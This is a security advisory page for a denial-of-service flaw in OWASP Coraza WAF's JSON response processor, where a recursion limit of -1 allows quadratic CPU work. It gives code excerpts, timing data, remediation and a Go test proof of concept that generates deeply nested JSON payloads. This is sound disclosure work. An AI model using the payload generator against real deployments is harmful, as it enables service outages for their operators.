CVE-2026-107833: OWASP Coraza WAF: Unbounded recursion in JSON response body processor causes CPU exhaustion

Published Oct 8, 2026
·
Updated

Summary

The JSON response body processor parses response bodies with no recursion limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and that constant is -1. The guard in readItems only fires on == 0, so counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: ProcessRequest passes the configured limit (default 1024). There is no equivalent directive or default for responses.

Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time.

Root cause

internal/bodyprocessors/json.go

go const ignoreJSONRecursionLimit = -1 // line 51

func (js jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., plugintypes.BodyProcessorOptions) error { ... data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1 }

func (js jsonBodyProcessor) ProcessRequest(...) error { ... data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024 }

The guard and the decrement:

go func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error { if maxRecursion == 0 { // line 106 return errors.New("max recursion reached while reading json object") } ... iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126

Note that ProcessResponse discards BodyProcessorOptions (the parameter is ), so even a caller that wanted to set a limit on responses has no way to.

Why the cost is quadratic

Every nesting level re-parses the remaining nested document through gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55):

depth bytes ProcessResponse time 5000 30004 30 ms 10000 60004 119 ms 20000 120004 456 ms 40000 240004 2.18 s 87381 524290 12.09 s

Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB ResponseBodyLimit.

PoC

Save as internal/bodyprocessors/pocjsontest.go, then:

go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...

go package bodyprocessorstest

import ( "strings" "testing" "time"

"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" )

func nestedJSON(depth int) string { var sb strings.Builder sb.Grow(depth6 + 4) for i := 0; i < depth; i++ { sb.WriteString({"a":) } sb.WriteString("null") for i := 0; i < depth; i++ { sb.WriteByte('}') } return sb.String() }

func TestPoCJSONResponse(t testing.T) { proc, := bodyprocessors.GetBodyProcessor("json")

// Request path is bounded, response path is not. body := nestedJSON(5000) v := corazawaf.NewTransactionVariables() errReq := proc.ProcessRequest(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024}) errRes := proc.ProcessResponse(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{}) t.Logf("depth=5000 ProcessRequest err=%v", errReq) t.Logf("depth=5000 ProcessResponse err=%v", errRes)

// Quadratic scaling on the response path. for , depth := range []int{5000, 10000, 20000, 40000, 87381} { b := nestedJSON(depth) vv := corazawaf.NewTransactionVariables() start := time.Now() proc.ProcessResponse(strings.NewReader(b), vv, plugintypes.BodyProcessorOptions{}) t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start)) } }

Output on the reference machine:

depth=5000 ProcessRequest err=max recursion reached while reading json object depth=5000 ProcessResponse err=<nil> depth=5000 bytes=30004 time=30.3ms depth=10000 bytes=60004 time=119.3ms depth=20000 bytes=120004 time=456.1ms depth=40000 bytes=240004 time=2.185s depth=87381 bytes=524290 time=12.085s

Impact

This needs ResponseBodyAccess turned on and a backend that returns JSON (application/json). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF.

The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have.

Suggested fix

Bound ProcessResponse the same way the request path is bounded: add a ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit instead of -1.

Other sources

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.

— MITRE

Affected Software

2 affected componentsFixes available
OWASP Coraza WAF>=3.0.0<3.8.0
go/github.com/corazawaf/coraza/v3>=3.0.0<3.8.0
3.8.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/corazawaf/coraza/v3 to a version that resolves this vulnerability.

    Fixed in 3.8.0
  2. Upgrade

    Upgrade github.com/corazawaf/coraza/v3 to a version that resolves this vulnerability.

    Fixed in 3.8.0
  3. Configuration

    Bound ProcessResponse recursion by adding a ResponseBodyRecursionLimit directive; alternatively, pass RequestBodyRecursionLimit to readJSON instead of the ignoreJSONRecursionLimit value of -1.

    Coraza JSON response body processor ResponseBodyRecursionLimit

Event History

Oct 8, 2026
Advisory Published
via GitHub·05:51 PM
Data Sourced
via GitHub·05:51 PM
DescriptionSeverityWeaknessAffected Software
Oct 9, 2026
CVE Published
via MITRE·05:39 PM
Data Sourced
via MITRE·05:39 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which deployments are exposed to this denial-of-service condition?

Deployments using OWASP Coraza WAF versions 3.0.0 through versions before 3.8.0 are exposed only when response-body inspection is enabled. The affected path is response JSON processing; request JSON processing is not affected by this issue.

2

What must an attacker be able to do to trigger the issue?

An unauthenticated network attacker must be able to cause an application protected by Coraza to return deeply nested JSON. Processing that response can consume one CPU core for seconds per response, within the default ResponseBodyLimit.

3

What is the remediation if response-body inspection is required?

Upgrade Coraza to version 3.8.0, which fixes the issue. If upgrading is not immediately possible, disabling response-body inspection prevents exploitation of the affected processing path.

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